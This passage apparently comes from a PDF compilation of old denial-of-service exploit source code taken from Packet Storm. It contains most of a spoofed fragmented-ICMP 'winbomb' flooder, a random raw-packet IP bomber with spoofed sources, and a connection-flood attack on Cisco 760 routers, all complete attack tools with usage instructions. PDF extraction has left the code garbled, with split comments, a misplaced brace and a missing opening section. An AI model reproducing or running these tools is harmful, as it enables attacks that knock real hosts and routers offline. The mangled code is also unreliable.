u_short *addr;
31
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
sum += *w++;
nleft -= 2;
}
{
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int send_winbomb(int socket,
unsigned long spoof_addr,
struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr
*ip;
struct icmphdr *icmp;
int rc;
packet = (unsigned char *)malloc(sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl
= 5;
ip->version = 4;
// ip->tos
= 2;
ip->id
= htons(1234);
ip->frag_off |= htons(0x2000);
// ip->tot_len = 0;
ip->ttl
= 30;
ip->protocol = IPPROTO_ICMP;
ip->saddr
= spoof_addr;
ip->daddr
= dest_addr->sin_addr.s_addr;
ip->check
= in_cksum(ip, sizeof(struct iphdr));
icmp->type
= 12;
icmp->code
= 0;
icmp->checksum
= in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 1,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
32
ip->tot_len
= htons(sizeof(struct iphdr) + sizeof(struct icmphdr) +
8);
ip->frag_off = htons(8 >> 3);
ip->frag_off |= htons(0x2000);
ip->check
= in_cksum(ip, sizeof(struct iphdr));
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
if (sendto(socket,
packet,
sizeof(struct iphdr) +
sizeof(struct icmphdr) + 8,0,
(struct sockaddr *)dest_addr,
sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char * *argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 4)) {
usage(argv[0]);
return(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"ERROR: Opening raw socket.\n");
return(-1);
}
if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); }
src_addr = dest_addr.sin_addr.s_addr;
if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); }
printf("Status: Connected....packets sent.\n",argv[0]);
for (i = 0;i < atoi(argv[3]);i++) {
if (send_winbomb(sock,
src_addr,
&dest_addr) == -1) {
fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
return(-1);
}
usleep(10000);
}
33
Gayezoons.c (Author: Maniac)
(http://packetstormsecurity.org/exploits/DoS/gayezoons.c)
/*
/*
/*
/*
IP bomber By: Redemption */
I.P. bomber, sends UPD packets to a host */
and knocks them offline, possibly lock them up */
http://www.sekuirty-net.com */
#define DEBUG
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#ifndef __linux__
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#else
#include <endian.h>
#include <bsd/netinet/in_systm.h>
#include <bsd/netinet/ip.h>
#include <linux/wait.h>
#include "/usr/src/linux/net/inet/skbuff.h"
#endif
#include <assert.h>
static
static
static
static
static
static
static
unsigned int wait_time = 0;
unsigned int packet_size = 80;
unsigned int packet_count = 1000;
int gateway = 0x0100007f;
int destination = 0;
unsigned int uflag = 0;
unsigned int tflag = 0;
static int socket_fd;
static struct sockaddr dest;
/* Convert an ASCII string to binary IP.*/
unsigned long
in_aton(char *str)
{
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
34
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0') str++;
}
}
return(htonl(l));
}
void print_usage ()
{
fprintf(stderr,
"Usage: gayezoons [-w time_To_Jerkoff] [-s jizz_size] [c jizz_count] host\n");
exit (1);
}
void get_options (int argc, char *argv[])
{
extern int optind;
extern char *optarg;
int
c;
while (( c = getopt (argc, argv, "r:c:w:s:g:")) > 0) {
switch (c) {
case 'w' :
wait_time = atoi (optarg);
break;
case 's' :
packet_size = atoi (optarg);
break;
case 'c' :
packet_count = atoi (optarg);
break;
case 'g' :
gateway = in_aton (optarg);
break;
case 'r' :
srand (atoi (optarg));
break;
case 't' :
tflag ++;
break;
case 'u' :
uflag ++;
break;
default :
print_usage ();
}
}
if ( optind >= argc )
print_usage ();
35
destination = in_aton (argv[optind]);
#ifdef DEBUG
fprintf (stderr, "Wait time = %d\n", wait_time);
fprintf (stderr, "Maximum packet size = %d\n", packet_size);
fprintf (stderr, "Packets count = %d\n", packet_count);
fprintf (stderr, "Destination = %08x\n", destination);
fprintf (stderr, "Gateway = %08x\n", gateway);
if (tflag)
fprintf (stderr, "TCP option enabled\n");
if (uflag)
fprintf (stderr, "UDP option enabled\n");
#endif
}
void init_raw_socket()
{
unsigned int sndlen, ssndlen, optlen = sizeof (ssndlen);
int fl;
if ( (socket_fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
{
perror ("ipbomb : socket ");
exit (1);
}
#ifdef __linux__
sndlen = packet_size + 128 + 1 + sizeof (struct sk_buff);
#else
sndlen = packet_size;
#endif
if ( setsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *)
&sndlen,
sizeof (sndlen) ) ) {
perror ("ipbomb : setsockopt (..., ..., SO_SNDBUF,...)
");
exit (1);
}
if ( getsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *)
&ssndlen,
&optlen) ) {
perror ("ipbomb : getsockopt (..., ..., SO_SNDBUF,...)
");
exit (1);
}
if ( ssndlen != sndlen ) {
fprintf (stderr, "ipbomb: maximum packet size to
big.\n");
exit (1);
}
fl = fcntl ( socket_fd, F_GETFL, 0);
fl |= O_NONBLOCK;
fcntl ( socket_fd, F_SETFL, fl);
36
}
void close_raw_socket()
{
close (socket_fd);
}
void send_packet( char *bomb, int len )
{
int i;
i = sendto (socket_fd, bomb, len, 0, &dest, sizeof (dest));
/*
if ( i != packet_size ) {
perror ("ipbomb : sendto ");
exit (1);
}
*/
}
void generate_packet( char *bomb )
{
struct ip * iph = (struct ip *) bomb;
unsigned int i;
unsigned int len = packet_size * (rand() & 0xffff) >> 16 ;
assert ( len < packet_size );
/* Options needed to be correct */
iph->ip_v = IPVERSION;
iph->ip_hl = 5;
iph->ip_sum = 0;
iph->ip_len = htons(len);
/* Random options */
#define SET_RAND(_a) iph->_a = rand() & ((1 << (sizeof (iph->_a) * 8))
- 1)
SET_RAND(ip_tos);
SET_RAND(ip_id);
SET_RAND(ip_ttl);
SET_RAND(ip_off);
SET_RAND(ip_p);
#undef SET_RAND
iph->ip_src.s_addr = rand();
iph->ip_dst.s_addr = destination ? destination : rand();
for ( i = sizeof (struct ip); i < len; i++)
bomb[i] = rand() & 255;
send_packet(bomb, len);
}
void main (int argc, char *argv[])
{
37
int i;
char * bomb;
struct sockaddr_in * inet_dest = (struct sockaddr_in *) & dest;
srand (time (NULL));
get_options (argc, argv);
bzero (&dest, sizeof (dest));
inet_dest->sin_family = AF_INET;
inet_dest->sin_addr.s_addr = gateway;
if ( (bomb = malloc(packet_size)) == NULL) {
perror ("ipbomber: malloc");
exit(1);
}
init_raw_socket();
for ( i = 0; i < packet_count; i++ ) {
generate_packet (bomb);
}
close_raw_socket();
}
38
Cisco760.c (Author: Tiz.Telesup)
(http://packetstormsecurity.org/0005-exploits/cisco760.c)
/* Cisco 760 Series Connection Overflow
*
*
* Written by: Tiz.Telesup
* Affected Systems: Routers Cisco 760 Series, I havn't tested anymore
* Tested on: FreeBSD 4.0 and Linux RedHat 6.0
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);
void
net_write (int fd, const char *str, ...);
unsigned long int
net_resolve (char *host);
void
usage (void)
{
printf ("usage: ./cisco host times\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
char
host[256];
int
port,times,count,sd = 0;
int
m = 0;
struct sockaddr_in
cs;
printf ("Cisco 760 series Connection Overflow.\n");
printf ("-------------------------------------\n");
if (argc < 3)
usage();
strcpy (host, argv[1]);
times=atoi (argv[2]);
39
if ((times < 1) || (times > 10000)) /*Maximum number of
connections*/
usage();
port =23; /* This might be changed to the telnet port of the
router*/
printf ("Host: %s Times: %d\n", host, times);
for (count=0;count<times;count++){
printf ("Connecting... Connection number %d \n",count);
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);
if (sd < 1) {
printf ("failed!\n");
exit (EXIT_FAILURE);
}
net_write (sd, "AAAA\n\n");
}
exit (EXIT_SUCCESS);
}
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int
port, char *sourceip, unsigned short int sourceport, int sec)
{
int
n, len, error, flags;
int
fd;
struct timeval tv;
fd_set
rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
40
n = connect (fd, (struct sockaddr *) cs, sizeof (struct
sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) <
0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
unsigned long int
net_resolve (char *host)
{
long
i;
41
struct hostent
*he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
void
net_write (int fd, const char *str, ...)
{
char
tmp[8192];
va_list vl;
int
i;
va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);
va_end(vl);
send(fd, tmp, i, 0);
return;
}
42